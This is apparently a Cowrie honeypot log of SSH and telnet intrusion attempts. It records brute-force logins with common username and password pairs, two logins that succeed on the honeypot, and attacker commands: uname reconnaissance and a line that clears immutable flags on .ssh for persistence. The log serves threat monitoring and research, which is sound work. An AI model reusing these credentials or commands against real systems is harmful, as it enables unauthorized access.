{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:59:01.359334Z","src_ip":"103.62.152.202","session":"4e7a39582574","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"planka","password":"1234","message":"login attempt [planka/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:59:02.470099Z","src_ip":"103.62.152.202","session":"4e7a39582574","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:59:03.746125Z","src_ip":"103.62.152.202","session":"4e7a39582574","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.125.147.88","src_port":60393,"dst_ip":"10.17.0.5","dst_port":22,"session":"3217ba2b6ada","protocol":"ssh","message":"New connection: 154.125.147.88:60393 (10.17.0.5:22) [session: 3217ba2b6ada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:59:11.069250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:59:11.076609Z","src_ip":"154.125.147.88","session":"3217ba2b6ada","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:59:11.317971Z","src_ip":"154.125.147.88","session":"3217ba2b6ada","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"Nutanix123!","message":"login attempt [nutanix/Nutanix123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:59:12.316748Z","src_ip":"154.125.147.88","session":"3217ba2b6ada","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:59:14.094841Z","src_ip":"154.125.147.88","session":"3217ba2b6ada","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":42180,"dst_ip":"159.203.135.109","dst_port":22,"session":"d90feaa7904a","protocol":"ssh","message":"New connection: 92.118.39.92:42180 (159.203.135.109:22) [session: d90feaa7904a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:59:14.122171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:59:14.126444Z","src_ip":"92.118.39.92","session":"d90feaa7904a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:59:14.227041Z","src_ip":"92.118.39.92","session":"d90feaa7904a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"login","message":"login attempt [root/login] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:59:14.585254Z","src_ip":"92.118.39.92","session":"d90feaa7904a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:59:14.836935Z","src_ip":"92.118.39.92","session":"d90feaa7904a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:59:14.840180Z","src_ip":"92.118.39.92","session":"d90feaa7904a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:59:14.944695Z","src_ip":"92.118.39.92","session":"d90feaa7904a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:59:14.948517Z","src_ip":"92.118.39.92","session":"d90feaa7904a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.210.249.152","src_port":43582,"dst_ip":"10.17.0.5","dst_port":22,"session":"21d0b17a911e","protocol":"ssh","message":"New connection: 172.210.249.152:43582 (10.17.0.5:22) [session: 21d0b17a911e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:59:30.564392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:59:30.567811Z","src_ip":"172.210.249.152","session":"21d0b17a911e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:59:30.581149Z","src_ip":"172.210.249.152","session":"21d0b17a911e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cristi","password":"12345678","message":"login attempt [cristi/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:59:30.670803Z","src_ip":"172.210.249.152","session":"21d0b17a911e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:59:31.687071Z","src_ip":"172.210.249.152","session":"21d0b17a911e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.235.199.67","src_port":2181,"dst_ip":"159.203.135.109","dst_port":23,"session":"afdc9119d5fb","protocol":"telnet","message":"New connection: 101.235.199.67:2181 (159.203.135.109:23) [session: afdc9119d5fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:59:35.280198Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.183.250.100","src_port":45516,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fbbb126798a","protocol":"ssh","message":"New connection: 51.183.250.100:45516 (10.17.0.5:22) [session: 0fbbb126798a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:59:35.324681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:59:35.329441Z","src_ip":"51.183.250.100","session":"0fbbb126798a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:59:35.416394Z","src_ip":"51.183.250.100","session":"0fbbb126798a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"auser","password":"auser@123","message":"login attempt [auser/auser@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:59:35.793237Z","src_ip":"51.183.250.100","session":"0fbbb126798a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:59:36.884993Z","src_ip":"51.183.250.100","session":"0fbbb126798a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.973898887634277,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:59:49.253933Z","src_ip":"101.235.199.67","session":"afdc9119d5fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.3","src_port":45066,"dst_ip":"10.17.0.5","dst_port":22,"session":"430b998165ee","protocol":"ssh","message":"New connection: 118.193.33.3:45066 (10.17.0.5:22) [session: 430b998165ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:12.850308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:12.855967Z","src_ip":"118.193.33.3","session":"430b998165ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:13.072779Z","src_ip":"118.193.33.3","session":"430b998165ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"Runner123!","message":"login attempt [runner/Runner123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:13.971730Z","src_ip":"118.193.33.3","session":"430b998165ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:15.190788Z","src_ip":"118.193.33.3","session":"430b998165ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.92.202","src_port":60724,"dst_ip":"10.17.0.5","dst_port":22,"session":"424a33da6fa1","protocol":"ssh","message":"New connection: 103.82.92.202:60724 (10.17.0.5:22) [session: 424a33da6fa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:18.730169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:18.736063Z","src_ip":"103.82.92.202","session":"424a33da6fa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:18.981278Z","src_ip":"103.82.92.202","session":"424a33da6fa1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gmodserver","password":"Gmodserver","message":"login attempt [gmodserver/Gmodserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:19.996270Z","src_ip":"103.82.92.202","session":"424a33da6fa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:21.244857Z","src_ip":"103.82.92.202","session":"424a33da6fa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.240.75.51","src_port":52056,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1e20118d08d","protocol":"ssh","message":"New connection: 35.240.75.51:52056 (10.17.0.5:22) [session: f1e20118d08d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:26.801126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:26.817673Z","src_ip":"35.240.75.51","session":"f1e20118d08d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:26.892083Z","src_ip":"35.240.75.51","session":"f1e20118d08d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Passw0rd","message":"login attempt [root/Passw0rd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:27.377766Z","src_ip":"35.240.75.51","session":"f1e20118d08d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:27.695370Z","src_ip":"35.240.75.51","session":"f1e20118d08d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:27.699224Z","src_ip":"35.240.75.51","session":"f1e20118d08d","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:27.703003Z","src_ip":"35.240.75.51","session":"f1e20118d08d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:27.834426Z","src_ip":"35.240.75.51","session":"f1e20118d08d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:00:28.117947Z","src_ip":"35.240.75.51","session":"f1e20118d08d","protocol":"ssh"}
